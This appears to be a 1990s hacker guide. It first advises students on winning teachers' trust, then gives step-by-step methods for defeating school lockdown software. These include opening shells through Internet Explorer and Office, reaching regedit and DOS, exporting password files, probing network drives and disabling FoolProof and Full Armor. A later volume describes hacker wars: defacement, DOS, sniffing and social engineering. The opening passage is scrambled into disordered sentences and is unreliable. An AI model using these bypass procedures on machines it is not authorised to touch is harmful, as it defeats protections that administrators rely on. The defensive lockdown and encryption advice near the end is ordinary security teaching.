The minute they realize you know how to get to DOS. instruct recipients to cancel credit cards. it is because computer vandals keep on messing things up.will they dare to trust you? Karl Schaffarczyk warns. either. were freezing screens. Honest. huh? It’s not surprising that nowadays some people are so afraid of hackers that they blame almost anything on us. Think about it. they know you could mess things up so bad they will have to spend a sleepless night -. You can’t really blame them. Even if you are innocent. not hackers. just for getting a DOS prompt? But the problem is that your teachers go to a lot of effort to set school computers up so they can be used to teach classes. claiming their security has been breached. Later investigators learned that ship radars. (c) VNU Business Publications Limited. when you consider those news stories. Your teachers are overworked. 1997 NETWORK NEWS 7/5/97 P39 A teenager was fined an equivalent of US$350 for paralysing US telephone switchboards. For example. is how to find teachers who would love to play hacker games with you and give you free run of the schools computer systems..” Here’s the first thing you need to remember. it’s usually your computer lab teachers. than you could have by simply breaking in.e. some authorities will immediately kick you out of school or call the cops. The problem is -.000 calls.expelled from school or even arrested..” Sheesh. TELECOMWORLDWIRE 6/5/97 WORLDCOM in the UK recently suffered a systems failure following a hacker attack.. (C) 1997 M2 Communications Ltd. Whoa.putting that computer back together. in 1997. look how easy it is to get a DOS prompt!” Remember. Teachers hate to stay up all night. Coyote suggests. many people are terrified of teenage hackers. . don’t start by getting caught! Don’t start even by showing your teacher. Here are some examples of stories your school authorities have probably read..: not acting like a jerk in class and not hacking to be cool). and of course hacking. Your computer lab teachers might really. now this is some social engineering challenge! But actually this isn’t that hard. (C) 1997 M2 Communications Ltd. you say. “I nearly got chucked out of school (many years ago) for pulling up a DOS prompt on a system that was protected against such things. If they get mad at hackers. like the idea of having you help with the work. Arghhh! ************************************************************ First task of this Guide. it will be easier to gain the trust of the teacher and subsequently gain the job helping with the systems.. And once you reach this level you are almost guaranteed that you will know more about system management. really.. “Hey.or two or three -.. Imagine that! So if you really want to work a deal where you become supreme ruler and hero-in-chief of your school’s computers. Even if the authorities don’t have very good proof of your guilt. .The unnamed teenager made around 60. TELECOMWORLDWIRE 6/5/97 Scary. authorities at a naval base at first blamed attackers using highenergy radio waves for computer screens that froze. “in many cases you may find that if you prove yourself responsible (i.13 FEBRUARY 1997 Hackers are reported to be using servers at Southampton University to circulate threatening emails (that) . Guess who gets to stay late at work fixing the mess students make when they break into school computers? Right.. then.

” 3) Choose width = 40. and the rest are played in a loop until the download is done. . start with showing them.than changing the animated logos on IE (IE) and Netscape? You could do it the easy way with Microangelo.com/pub/impactsoft/ma21. 6)Now run the Registry editor. I promised. Windows Explorer will then automatically revert to the saved graphic in BackBitmap. 1) Bring up Paint. each 40x40 pels. This is well hidden since Microsoft would prefer that you not play with the Registry.” then “attributes. Next day they did the deal. Just in case your teacher is the kind who gets scared by all those hacker news stories. you may want to impress your teachers by doing it the hacker way. But how do you prove you know enough for the job? If you start out by telling your computer lab teacher that you know how to break into the school computers. But since you are a hacker. One way is to click “start. Then cut and paste each one into the 40x480 image.zip. you can get the right to have root (or administrative) access to almost any computer system. available from ftp://ftp.” Type “Brandbitmap” in the find window. I was talking with the owner of the ISP one day. Offer to show him or her that you know enough to help take care of those computers. Your job is to show them that you are the good guy. with their permission. who complained how overworked he was. would work for free in exchange for the root password on one of his boxes. So let’s say you set up a flaming skull that rotates when you run IE. This is easy.impactsoft. 4) Make a series of pictures. Now this hacker and his friends get to play break-in games on this computer during off hours when paying customers don’t use it. 9) Now double click on BrandBitmap to get a dialog window. and if you convince them you are responsible. If you offer to help for free. 5) Make the top 40x40 image be the one you want to have sit there when IE is doing nothing. Find an overworked teacher. The next three are shown once when a download starts.” and then in the MS-DOS window with the C:\windows prompt give the command “regedit. Or overworked owner of an ISP. and delete the name of your animation file. Cheap Internet Explorer Tricks A good place to start is with Internet Explorer. Now she wants you to put it back the way it was before. The media is inundating them with scare stories.” then “Find. I told him I knew a high school sophomore who had been busted for hacking but had reformed. units in pels. those kids fix anything that goes wrong with that box. This fellow. don’t start out by talking about breaking in! Instead. This same basic technique also will work with your ISP. Just open up BrandBitmap. For example. Plus which they have probably spent a lot of time fixing messes made by kiddie hackers.” 7) Click to highlight the subkey "HKEY_CURRENT_USER\Software\Microsoft\IE\Toolbar" 8) On the task bar above. height=480. Your teacher is impressed. click “Edit. 2) Click “image. what could be more harmless -.So instead of getting mad at teachers who are terrified of hackers. In exchange. So try it. Type the path and file name of your custom animated graphic into it. You must have an even number of images for this to work. a few cheap tricks. One way to do this is to open a new picture for each one and set attributes to width = 40 and height = 40. give them a break. Your job is to show them you can make life better for them by giving you free run of the school computers.” then “programs” then “MS-DOS. some teachers will get excited and suspend you from school.yet effective at showing off your talents -. For starters.

click “Program Files” then click “Accessories” then click “Paint. Experiment and have fun! ************************************************************ To use IE as a Win95 shell. If you play this right. Did you know that Internet Explorer (IE) can be used to break some Windows babysitter programs? Your school might be running one of them.” All of a sudden Paint is running. ************************************************************ The dirty little secret is that IE actually is a Windows shell program. Whoa. Yes. then click on Regedit. The advantage of using IE when your teacher is anxiously looking over your shoulder is that you could just “accidentally” stumble on some cool stuff. But you can still do some interesting things with them to break into a Win95 box. we will also look at a new way to get around them in this chapter.unless the security program you are trying to break has anticipated this attack. If your computer is set to automatically initiate an Internet connection. the ability to control the Registry of a server is the key to controlling the network it serves. only kidding here. Now for fun. look at all those file folders that come up on the screen. you could just get to work on those babysitter programs using the tips of the GTMHH on how to break into Win95. That means it is an alternative to the Win95 desktop. you don’t look like a dummy. In the space where you would normally type in the URL you want to surf. you can win points by trashing that babysitter program. Show this to your teacher and tell her that you’re going to use IE to change all the school’s password files. Now here are a few fun suggestions. From IE you may launch any program. from the IE shell you can run any program on your computer -. The security problems that are plaguing IE are mostly a consequence of it turning out to be a shell. Next close all that stuff and get back to the URL window in IE. In a few hours the Secret Service will be fighting with the FBI on your front lawn over who gets to try to bust you. instead type in c:. The big deal about IE being a Windows shell is that Microsoft never told anyone that it was in fact a shell. . Open it in Word Pad. OK.Let’s now show your teacher something that is a little bit scary. you can kill it. Now paint your teacher who is watching this hack surprised. Export the password file (it’s in HKEY_CLASSES_ROOT). This makes them safer to use. Click on the Windows folder. bring it up just like you would if you were going to surf the Web. With a little ingenuity you may be able to even gain control of your school’s LAN. ************************************************************ Evil Genius tip: People are less afraid of you if you type sloowwwlllllyyyyyyyyyy.exe to start it up. You don’t need to be online for this to work. instead of looking like a dangerous hacker. But don’t try that just yet! ************************************************************ Newbie note: A shell is a program that mediates between you and the operating system. Remember. the Netscape and Mosaic Web browsers are not quite such full-featured shells. if it turns out the security program you try to override is well enough written to keep IE from breaking it. Besides. Yes. IE operates much like the Program Manager and Windows Explorer that come with the Win 95 and Win NT operating systems. using IE. However. Then you could show that you know how to take advantage of that security flaw. By contrast.

now you have a really good reason to ask her to take IE off all the school computers. Cheap Tricks with Microsoft Office You also can run a Windows shell from several Microsoft Office programs. and a lock in the lower-right corner should open for 20-30 seconds. the objective is to prove to your teachers you can cut how much work they have to do! What if the school babysitter program won’t let you run regedit.com.exe? Try typing c:/command. If you get the hotkey right. From it you can run any program. (That is. you can get total control over that computer. Otherwise you will be making more work for the computer lab teacher instead of less work. Then see Chapter 2 for how to edit the Registry from DOS. then “About Microsoft (name of program inserted here)... maybe it would be a bit better to tell your teacher that if you can edit the registry. But you are a hero because you have done it to save your school from those mean kiddie hackers who change grades and class assignments. Be sure to do this with your teacher watching and with her permission to try to access network computers. But File Manager is also a Windows shell.) Microsoft Access is a bit harder.exe! (That is. If you have gotten this far with IE. Excel.” then “System Info.” Click “run” and put in anything you want.” 2) This brings up a window which includes a button labeled “run. You are on the road to being a hero. If you actually do edit the Registry.) Of course other schools may have other arrangements. And maybe much more. One young hacker reports his school uses shift-alt-X (hold down the shift and alt keys at the same time.) How to Circumvent FoolProof There is usually a hotkey to turn off FoolProof.” So he had her watch while he did the deed. you had better know how to revert to its backup. you and your friends will be openly playing Quake at school -. One of them is File Manager. a sound may play. By now you have a great shot at getting a volunteer job running the school’s computer systems. then press the “x” key. “My computer science teacher asked me to show her exactly HOW I managed to print the ‘the universe revolves around me’ image I made to all the network printers in the school. once you get a shell. unless the security program you are trying to break has a way to disable this. In some schools a harmless joke like this would be grounds for expulsion. next try entering r:/ or w:/ or z: etc. Before you know it. The “run” button only gives a few choices. to see if you can access the disk of a network server. ************************************************************ You can get punched in the nose warning: Dante was lucky that his teacher was understanding. Remember. To use them get into a Windows shell: 1) Click “help”. or else undo your changes. unless the security program you are trying to break has a way to disable this.. for example regedit. Remember. Dante tells how he managed to get out of a hot spot with an even better hack of Fool Proof.No. The following exploit works with Microsoft Word.and the authorities will consider it a small price to pay for your expertise. This is because you have just taken over the entire school LAN.. you have a good shot at disabling security programs. If you succeed. ************************************************************ . and Powerpoint. Suggest that the school delete IE from all its computers.

exe. So merely blasting your way through those babysitter programs with techniques such as those you learned in Chapter 2 will solve the problem for only a short time -. rename the backup files. Warning -.this is easy enough.” -. You have to remove FoolProof from the Registry. (This Web site is maintained by a teen organization. but if memory serves the first letter was M. 7) To put things back the way they were. Solve the Web Babysitter Problem Suppose your next goal is to get rid of Web babysitter programs. Unless. of course. break into the Windows box using one of the techniques of the GTMHHs on Hacking Windows. 5) Find the Registry backup files and make copies with different names just in case. Making a mistake with the Registry can cause spectacular messes! 6) Save the registry. 4) The file (opened in notepad) looks like garbage. and in autoexec. If even one kid were to complain to her parents that she had seen dirty movies running on other kid’s monitors in computer lab. Your teacher will faint.exe. 5) Save the File and restart the computer. you are a hero. which include those with political beliefs they don’t like. they attempted to prevent people from writing to the hard drive. Again.shtml.Dave Manges.) When your teacher discovers the hidden political agenda of CYBERsitter.vbx 2) OK..bat.org/info/hackTHIS. Here’s how Dave tells us he did the deed: 1) In the properties of the program it mentions the thread file (can't remember the name of the file) it was something. and reboot. (Be sure to back them up. Peacefire. it should come up with an error like "Unable to Initialize Full Armor". delete fptsr. you can probably find other teachers in your school who will be appalled by CYBERsitter.and get you and your teacher and your school in trouble. 4) Run regedit.bat and config. open something. You are now the school hero security expert. They may be surprised to find out the block lots more than naughty pictures. They often secretly censor certain political sites. If your school is running CYBERsitter. devoted to freedom of speech. But once again you can be a hero.and anyone -. But you can download a program to decrypt this list at: http://peacefire. How to Circumvent Full Armor “I ran up against this program 8 months ago at school. FoolProof won’t load. too. ..may disable FoolProof. It presented itself as a challenge.) In config. 3) Now you can edit the autoexec.vbx 3) Just because I can't write to the hard drive doesn't mean I can't edit something already there. Use the Regedit search feature to find references to Fool Proof. your school would be in big trouble... you can really beat up on it. remember to back up all files before changing them so you can put the computer back the way you found it.Here is how Dante -.don’t try the soldering iron bit. 6) Now you can go into add/remove programs and uninstall it. delete the first character from the file. But this can be a tough job.. You can help your teachers discover the Web sites that are being blocked by those babysitter programs. your teacher agrees with CYBERsitter’s tactics. open notepad. If so. Think about it from the point of view of the teachers.for about 5 minutes. CYBERsitter has encrypted its list of banned sites.sys delete the line device=fp.sys files. too. 1) First.

and the Registry. But instead of doing this. after reading Chapter 2. IE can keep you from seeing it. See Chapter 1 for details how all the ways to get to DOS. Maybe all you need to do is control-altdelete and remove it from the list of active programs that brings up.bat. config. You can do your school a world of good by using your hacking skills to fix things so that security works much better.) 1) Disable all boot keys. depending on how good your problem program is. you can break into any computer to which you have physical access. 2) Password the CMOS. If this doesn’t work.How about IE’s built-in site blocking system? It is harder to uncover what it blocks because it works by limiting the viewer to web sites that have “certificates” provided by a number of organizations. (See the GTMHH on how to break into Windows computers for instructions on how to do most of these. You can run it from either DOS or. Mega fits. Of course. how about directing your teacher to http://peacefire. But this will make your teachers throw fits. make sure that you can always return any school computer to the way it was before you hacked it. . Give your teacher the new password. Keep Clueless Kiddie Hackers from Messing up Your School Computers Now that you have shown your teachers that you can break absolutely any security on any box to which you have physical access.sys. the ones you are likely to need to alter are autoexec. The trick is to figure out. Or you may only need to access regedit. Look for lines with suspicious names that remind you of the name of the program you want to disable. you can edit any files. There are only a few possible ways for these programs to work. \windows\startm~1\programs\startup. *********************************************************** You can get punched in the nose note: Of course you could do something obvious like “format c:” and reinstall only what you want on that box. turn the victim computer off and then back on again instead of a reboot with power still on.exe. If it already has a password. You would be amazed at all the things clumsy or malicious users can do. how to disable whatever program is giving you a hard time. If you want to be a hero. 3) Remove any programs that allow the user to get to regedit or dos. what next? Do you just leave your teachers feeling awed and helpless? Or do you help them? There is a reason why they have security systems on your school’s computers. This will get rid of anything lingering in RAM that could defeat your efforts. from Windows. Once you can edit files.org and let him or her follow the links? Then perhaps the authorities at your school will be ready to negotiate with you to find a way to give you freedom to surf without grossing out other kids in the computer lab or library who can’t help but notice what may be on your monitor. once you have complete control. if you can get into DOS. anything with the extension . Here are some basic precautions that you can offer to your teachers to lock down school computers.lnk. If a site hasn’t gone to the effort of getting a certificate.pwl or . *********************************************************** When you are done. you can quickly disable the IE censorship feature. change it. How to Break into Absolutely any School Computer As you know from Chapter 2.

) 7) Try really. to disable them. and worse.legally? You will. The tactics of today’s cybernazis are to shut down people’s email accounts. Since Win95 is a totally insecure operating system. Upgrading to WinNT will cost money. Are you ready to turn your hacking skills into a great reputation at school? Are you ready to have the computer lab teachers begging to learn from you? Are you ready to have the entire school computer system under your control -. the cybernazis have been far more successful than governments in shutting down Web sites with which they disagree. As for malicious school hackers. They will have to give up the use of lots of convenient programs. only use the tricks of this Guide under the supervision of an admiring teacher. if possible. of course. I prefer to call them cybernazis. kewl d00dz. With experimentation you will figure out much more for yourself. Try explaining to them how much easier it will be to keep those wannbe hacker vandals from trashing the school computers or using them to visit bianca’s Smut Shack. In some cases cybernazis also target their victims with massive credit card fraud. 6) Don’t make it possible for Win95 computers to access sensitive data on a network disk. It is a war between the forces of repression and those of us who treasure freedom. 1: Hacker Wars: Fighting the Cybernazis __________________________________________________________ There is a war underway in cyberspace. 5) Remove programs that can’t be made safe. who burned books in their campaign to keep the German people ignorant. death threats. blocking email. and to use terror tactics to get people kicked of their Internet service providers. right? It sure is more fun than expulsion and juvenile court! Contents of Volume 4: Hacker Wars: Fighting the Cybernazis __________________________________________________________ Guide to (mostly) Harmless Hacking Vol. The cybernazis have felt we merit a wide range of attacks. not only digital but including blackmail and threats against those who have been courageous enough to be part of Happy Hacker. there will always be kewl d00dz who think “format c:” shows they are. But at least you will be able to keep secure enough that those students who do break in will know enough to not do anything disastrous by accident. You may also have a problem with school administrators who may feel that it is inconvenient to set up such a secure system. this will be a losing battle. On the side of repression are governments who fear the untrammeled freedom of speech that is today's Internet -. deface Web pages. They are the spiritual descendants of the Nazis of the Germany of the 1930s. (The passwords can be easily grabbed and decoded.and several bands of computer criminals who have the nerve to call themselves hackers. So far. sigh. really hard to persuade the school administration to replace Win95 with WinNT. It’s a war that has targeted this Happy Hacker email list ever since we started it in August 1996.4) Programs that allow hot keys to circumvent security should be changed. and getting people whose ideas they dislike kicked off Internet service providers. 4: Information Warfare Series No. ahem. .

does not mean they are guilty of anything. I am not saying they did it. do you want to join us in our battle against those cybernazis.net ISP repeatedly.net because it was providing Bronc with a shell account. jericho and Modify sent me many email messages that made it clear that Bronc was being hit because of his high quality Web site (hope you can find it still up at http://showdown.” and No. against those who are trying to wipe out freedom on the Internet? Want to enlist in the good guy side of information warfare? One way is to learn and practice defensive skills against hacker war criminals. There are several types of hacker war tactics. ************************************************************ So. 1997. Web Page Hacking Lots of people ask me.********************************************************** In this Guide. They attacked Succeed. It targeted Bronc Buster. 4-21. During the course of this battle. which will help you protect yourself from far broader attacks which can even lead to your ‘digital death. “How do I hack a Web page?” Alas. into scorched-core warfare that shut down the Succeed.net in its struggle against these vindictive computer criminals.org) and his association with Happy Hacker. which will lay the foundation for becoming an international information warfare fighter. . I helped muster both the FBI and volunteer technical help from an Internet backbone provider to aid Succeed. 4. 1997 that attempted to make it look like Bronc was a self-confessed pedophile. tell me about it. But an understanding of hacker war will prepare you for No.NOT! · defense techniques that don’t break the law ********************************************************** The most serious battle in these wars took place Oct. Nosirree. If you. you will learn: · what are hacker wars · Web page hacking · denial of service · sniffing · social engineering · ISP hostage taking · the damage hacker warriors may do to bystanders · why you may get hit someday · how to get into a hacker war (some people want to!) · how to keep from getting caught -. and in the case of jericho claimed considerable knowledge of technical details of the attacks. What Exactly Are Hacker Wars? Hacker wars are attempts to damage people or organizations using cyberspace. ************************************************************ I don't want to get sued disclaimer: Just because jericho and Modify acted as spokesmen for the attackers. 3. gentle reader. too. the first step in this process ought to be physiologically impossible and unsuitable for description in a family publication. the first of the Information Warfare Volume. In this Guide we will discuss some of the more common attacks. This war escalated beyond an initial spate of forgeries beginning Oct. get hit by the cybernazis. In this GTMHH No. too. I will be delighted to help you fight them. 2.1 of the Information Warfare Volume we will cover hacker war only.

Otherwise it is usually necessary to first break into the Web server computer and gain root or administrative control. people have told me they have just given the name back to Internic and no one demanded payment. So in the end. Because they harm many people other than the direct targets.org was hilarious. and are serious about making a political statement on the Web. they made their hack count.net/ http://www. clean. Hacked web pages usually consist of dirty pictures and bad language. They are quickly fixed. some Web sites accidentally offer write permission to anyone (world writable)! If so. They are both down now. you may get sued. *********************************************************** If you want to keep your Web site from being attacked. Judge for yourself. DOS may well be the most serious type of hacker war. One has to hack a really famous Web site to make it into an archive. and legal.with the single exception of one hack in Indonesia by the East Timor freedom fighter group. even if someone’s cause is good and their commentary trenchant. witty repartee and trenchant satire have been absent from every one I have ever seen -. . For sending out email. For example. all you need to do is promise to buy a domain name. My @techbroker. and then transfer it via ftp. Even if you win the lawsuit. messing up Web sites is a pitiful way to get across a message. DOS Attacks A second type of hacker war is denial of service (DOS)attacks. Collections of hacked Web pages may be found at http://www. Many political sites linked to them! To get your web spoof domain name.com email. This makes it easier to avoid being hacked. you could spend a lot of money in self defense. is hosted on a machine that does nothing but host a POP (post office protocol) server. you may make your views known to even more people than if you had hacked their Web site. You will save a lot of money by purchasing it directly from them instead of through an intermediary.net.The typical Web page hack begins with getting write permission to the hypertext files on the Web server that has been targeted. effective. give it the same name as the desired page on the Web site to be hit.com is hosted by a Silicon Graphics box that does nothing but run a Web server. I recommend using a company that does nothing but host Web pages. my http://techbroker. I use yet another computer. For example. http://dole96.com/hacked_pages However.org was also taken by parody makers. In fact. Amazingly. even though you are not breaking the law. But maybe my standards are too high. This is because the more services an Internet service provider offers. If you get tired of your parody Web site before you pay for it. go to http://internic. the legal and effective way is to get a domain name that is so similar to the site you oppose that lots of people will go there by accident. by contrast. especially if you get sued.2600. *********************************************************** You can get punched in the nose by a giant corporation warning: If you get a parody domain name so you can put up a Web site that makes fun of a big corporation.skeeve. Perhaps because they risked their lives to have their say. the more vulnerabilities it exposes. http://clinton96. But you may be able to get lots of good publicity by alerting reporters to your plight before taking down your Web site. all the hacker warrior need do is create a bogus Web page. I have hunted down many hacked Web sites. But they were widely reported. Wise political analysis. If you believe in freedom enough to respect the integrity of other people's Web sites. Parental discretion and antinausea medicine advised.

******************************************************** ******************************************************** You can go to jail warning: Attacking an Internet backbone provider is an especially easy way to get a long. ftp. seriously don’t want some cybernazi watching everything you do online.people will also laugh at those who get caught at it. and everything else inbetween (sic). But it isn’t enough to make sure that your Internet host computers are free of sniffers. fight back. and observing telnet sessions. and harming a lot of innocent people and companies in the process. The Eudora Pro program will allow you to use the APOP protocol to protect your password when you download email. Recently (June-Oct. if my sources are telling the truth. While Windows NT is in general harder for criminals to break into. ******************************************************** Other DOS attacks include the ICMP (Internet Control Message Protocol) attacks so familiar to IRC warriors. they have been doing more damage than any hacker war in history. the use of the break-ins was to deny service to users of AGIS. However.dhp. ******************************************************** You can go to jail. reading email. with the AGIS Internet backbone provider caught in the middle. Spammers also. while Bronc Buster’s http://showdown. Inc. ******************************************************** Newbie note: An Internet backbone is a super high capacity communications network. Cyberpromo went to court to force AGIS to give it Internet access (AGIS eventually won and kicked off Cyberpromo). 1997). get fired and/or get punched in the nose warning: DOS attacks in general are pathetically easy to launch but in some cases hard to defend against.and any passwords you may use -. Web surfing -.com/~fyodor/ has a good list of these NT DOS vulnerabilities. Sniffer programs can only be installed if one is root on that computer. and an amazing range of attacks on Windows NT systems. “The person who really did it 'owned' all of their machines. An outage in a backbone provider may affect millions of Internet users. But in the meantime it was seriously hurt by a barrage of computer vandalism.Spammers are a favorite target of DOS warriors.may go through 20 or more computers on their way to a final destination. According one source on the AGIS attacks. While the vandals who attacked AGIS probably think they have a good cause. their routers. although the attacks on AGIS apparently consisted of computer break-ins. If you really. “Code kiddie! Lamer!” ******************************************************** Sniffing Sniffing is observing the activity of one’s victim on a network (usually the Internet).org is great for Unix DOS attacks.” So. That’s a lot of places where a sniffer might be installed. Your email. telnet. This can include grabbing passwords. it is generally much easier to carry out DOS attacks against them. this will not protect the email itself from snoopers. http://www. It may include fiber optics and satellites and new protocols such as Asynchronous Transfer Mode. So not only can one get into all sorts of trouble for DOS attacks -. long stay in prison. there are several solutions. hackers fought a massive war against spammer kingdom Cyber Promotions. The weapon of choice on both sides is the mail bomb. . Please note: we are pointing these out so you can study them or test your own computer or computers that you have permission to test.

email majordomo@clinet. In the US.datafellows. he would have gotten a real tech support job. we must find ways to keep our communications private. . A really skilled social engineer can get almost any information out of you without even telling a lie. Worst of all. I recommend using the RSA option. Secure Shell (ssh) from Datafellows will encrypt everything that passes between your home and shell account computers.20. It is a stronger algorithm than the default Diffie-Hellman offered by PGP. telling the employees to call him for technical support. but then I can never figure out some of these haxor types. But a skilled social engineer can convince you that he or she is doing you a big favor while getting you to give away the store.tar.2. PGP is popular and can be purchased at http://pgp. For example. one hacker posted his home phone number on the bulletin board of a large company.com. Mac or any version of Unix computer." But ssh. You may download a free ssh server program for Unix at ftp://sunsite. If you are a sysadmin or owner of an ISP. If he had been smart. You can also set up an encrypted tunnel from one computer on which you have a shell account to a second shell account on another computer -. That’s a good reason to keep up on math news! The key plot element of the movie “Sneakers” was a fictional discovery of a fast algorithm to factor numbers. in which case it becomes easy to unscramble.unc.edu/pub/packages/security/ssh/ssh-1. So fighting controls on encryption is a key part of winning the battle against repression on the Internet. Way to go. like APOP will not protect your email. For a client version that will run on your Windows. see the DataFellows site at http://www. In exchange. ************************************************************ Social Engineering As we saw in the GTMHH on how to break into computers.com/. He provided great tech support. an encryption program may implement it in an insecure manner.hut.If you have a shell account.fi with message "subscribe ssh.if both are running Secure Shell.cs. social engineering usually consists of telling lies that are poorly thought through. the International Traffic in Arms Regulations forbids export of any encryption software good enough to be worth using. To get on the ssh discussion list. your shell account must be running the ssh server program in order for your Windows ssh client to work. ************************************************************ ************************************************************ Evil genius tip: While the RSA algorithm is the best one known.gz. If we are serious about freedom of speech. all ISPs that have a clue will require ssh logins to shell accounts.fi/ssh/#ftp-sites. he got lots of passwords. The solution? Encryption. ************************************************************ Newbie note: Encryption is scrambling up a message so that it is very hard for anyone to unscramble it unless they have the right key. get ssh now! Within a few years. Sneakers writer/producer Larry Lasker! ************************************************************ ************************************************************ You can go to jail warning: In many countries there are legal restrictions on encryption. But remember. or check out http://www. RSA depends upon the unprovable mathematical hypothesis that there is no polynomial time bounded algorithm for factoring numbers.

Yet chances are that you may already have been brushed by hacker war. hacker wars are Legion of Doom vs. But what does it have to do with your life? You may figure that if you never do anything that gets some computer dweeb who thinks he’s a haxor mad. Then. Interesting. ******************************************************* You can go to jail warning: I usually fubar the names of ISPs in these guides because so many haxor types attack any computer system I write about. If you point this out. fine. even Internet backbones can get taken down. So if you attack. you would get a “secure” ISP. 1997. but like reading science fiction. and almost impossible for your ISP to keep hackers out. men in suits bearing Miranda cards will pay you a visit.Ways Bystanders Get Hurt To most people. So all your attacker needs to do is buy an account. If you want to attack it. But even an ISP that just offers PPP accounts is more vulnerable than the typical computer system you will find in a large corporation. or even use the limited time trial account many ISPs offer. This was the objective in the assaults on Succeed. Masters of Deception stuff. Just remember that we have boobytrapped the heck out of it. that you are not the guy running security on the ISP you use. haxor d00d cybernazis think it is kewl to take an ISP hostage by repeatedly breaking in and vandalizing it until the owner surrenders by kicking the victim of the attacks off. This is one reason that it is getting difficult to get a shell account. You can increase your security by using an ISP that only offers PPP (point to point) accounts. Thanks. Please . cybernazis. But as we learned from the AGIS attacks.ISP Hostage Taking A favorite ploy of the aggressor in a hacker war is to attack the victim’s Internet account. Yeah. A PPP account is used to see pretty pictures while you surf the Web but in itself will not let you give Unix commands to the computer you are logged into. for ruining the Internet for the rest of us. and the bad guy is ready to run rampant. for the simple reason that your ISP needs to make it easy to use. ******************************************************** Newbie note: A shell account lets you give Unix commands to the computer you are on.net in Oct. checking account depleted. ******************************************************* Why Should I Give a Darn? -. you won’t have a problem. there are vastly more exploits that will get you superuser (root) control from inside a shell account. Succeed. But none of us is responsible for managing the security at the ISPs we use. Of course. set up a computer with lots of security and hook it directly to an Internet backbone provider with a 24 hr phone connection. you may get a domain name. Then they trumpet around about how this proves the victim is a lamer. right.net is a real name. bad guy hackers will insult you by claiming that if you really knew something. you could take responsibility for your own Internet host. Have you ever tried to login to your online provider and couldn’t make a connection? Did you call tech support and they told you they were “down for maintenance”? Tried to send email and gotten a message “cannot send mail now. While it is hard to break into almost any computer system from the outside. ******************************************************** Because it is easy to break into almost any ISP. Here’s why it is always easy to break into your account on an ISP.

net was shut down by a team of hackers that deleted not just Bronc's but also over 800 user accounts. Only if a reporter “outs” them first will they reluctantly admit to the attack. air traffic control systems going awry with planes crashing. I suspect cybernazis are trying to drive the small competitors out of business solely on the general principle that they hate freedom of anything. You think this is a ridiculous exaggeration? Those of use who have been in the bullseye of the cybernazis find this future easy to believe. In Oct. ever admit in public to being hacked. Why You May Get Hit . 1997. Manhattan Cyber Project Information Warfare/Electronic Civil Defense (see http://www.warroomresearch. formed in the wake of hearings by the US Senate’s Permanent Subcommittee on Investigations. Those of us on the front lines of cyberwar have seen these attacks first hand. 1996. turning off his home power and phone.infowar. appointed Schwartau team leader. and we know what it does to you bystanders. Tomorrow these skirmishes could pit nation against nation: power grids that serve hundreds of millions failing in the dead of winter. as Schwartau discovered. These attacks have included massive credit card fraud. Famine. Digital Pearl Harbor. “host unknown” message? Been unable to surf to your favorite Web site? It could have been technical error (cough. often because the attackers object to political views expressed on their Web pages. I don’t have any evidence that the cybernazis are in the pay of giants such as AOL. But it may have been more. Many other ISPs have suffered shutdowns from hacker wars. in his book Information Warfare. On June 4. because in September 1997 an industry group. For example. 1997 the ISP Succeed. hacker wars made yet another quantum leap. and even tampering with the local emergency services dispatch system so that all ambulance. A cardinal rule of online services is to never.com). hundreds of billions. what they accomplish is to make it hard for small companies to compete with giants such as America Online. It is common for hacker wars that start as a private disagreement to spill over and affect thousands or even millions of bystanders. shutting down the Internet backbone service provider AGIS in retaliation for it allowing Cyberpromo and several other spam empires to be customers. Someone must be listening.try again later”? Sent email that disappeared into cyberspace without a trace? Gotten email back with a “User unknown” or worse yet. Pearl Harbor. tampering with his credit rating. Years before we could climb out of an economic collapse as bad as the Great Depression. trillions of dollars in banking systems disappearing without a trace. were willing to even risk the lives of people who had nothing to do with him. when they hear of an online service under attack. However. join in the attack.com/mcp/ and http://www. Why cybernazis do this is not clear. tells us about some of the attacks the cybernazis have made on his family. Schwartau. syn flood attackers shut down the Panix ISP for several days. it is not surprising that so many of them are selling out to the giants. The cybernazis. we know hacker wars do to us. fire and police calls were directed to his home instead of to those who called 911 for emergency help. Winn Schwartau has been warning the world of this coming disaster since June of 1991. cough). So with the cybernazis rampaging against the little Internet service providers. The giant online services can afford a large staff of computer security experts. Yes. In fact. This is because there are cybernazi gangs that. in Sept.

It all started with cybernazis who wanted stop you from getting email from me. he had to change his (unlisted) phone number literally every two weeks because of the nightly anonymous calls he was getting. That's life around here. In mid Sept. The intruder erased the system files and sent email to the owners threatening worse mayhem if they didn’t cave in and boot us off. 1996. We’re talking the Internet Chess Club. you're playing with fire. you are safe.. ********************************************************* .org with message "subscribe dc-stuff) saying “I think they (or maybe 'we') will survive. yawn -. the owner of the Southwest Cyberport ISP where I had an account was woken by an alarm. for a while there. 1996 it was shut down by a syn flood attack in the aftermath of daemon9 publishing a program to implement the attack in the ezine Phrack. Ask Josh Quittner (author of Masters of Deception). extortion. he can't even let people know what his email account is or he gets spammed the next day. Let’s look at an example of a hacker war. The evening of Dec. while it was still dark on Christmas morning. threats. right? OK. I'm an activist.. On Dec 20 Rogue Agent wrote to me: Ask Netta Gilboa. someone had written to the dc-stuff hackers email list (subscribe by emailing majordomo@dis. We shall fight them in the routers.” Yeah. That’s what most of the guys who threaten us say. But if you behave politely around computer criminals. her magazine's in shambles and her boyfriend's in prison.. “This is not a threat.” Rogue Agent replied: I'm just doing my part to make sure that it doesn't happen. The attacker called himself GALF.Hacker war happens to other people. blackmail. ask what you can do for the network. right.. His mail server was down. They had been hit by a massive mailbombing by someone styling himself johnny xchaotic. The attackers also wiped the system files from a computer at the University of Texas at El Paso that I was using for research. claiming intimate knowledge of his techniques and motivations.. There is a darker element in my culture. on Dec. All I'm doing is telling you what's coming. There have bene many bystanders hit with the wars against this Happy Hacker list. and I won't stop my activism just because I know others will take it too far. Wrong. Somehow they always got the new number. as long as you don’t live in the neighborhood of one of us Internet freedom fighters like Schwartau or me you are safe. and sent threats to all email addresses on that box. 28. Dead wrong. and you're going to meet it if you keep going. No one using that ISP could get email any more. Damaged computers. someone cracked the dedicated box that Cibola Communications had been providing us at no cost to run the Happy Hacker majordomo. Not exactly controversial. It was not the first or last time that GALF has struck Happy Hacker. Hacker gangs pick fights with each other. 6.just kidding. one that doesn’t seem to have any motivation at all. we shall fight them in the vaxen. jericho surfaced as the public spokesman for the attacker.. Ask not what the network can do for you. For example. while she lives in fear. Ask John Markoff (coauthor of the hacker best-seller Takedown). we shall fight them in the fiber. Five days later. This is not a threat. right? Spammers get hacked. After awhile it gets kinda boring. Carolyn's book.

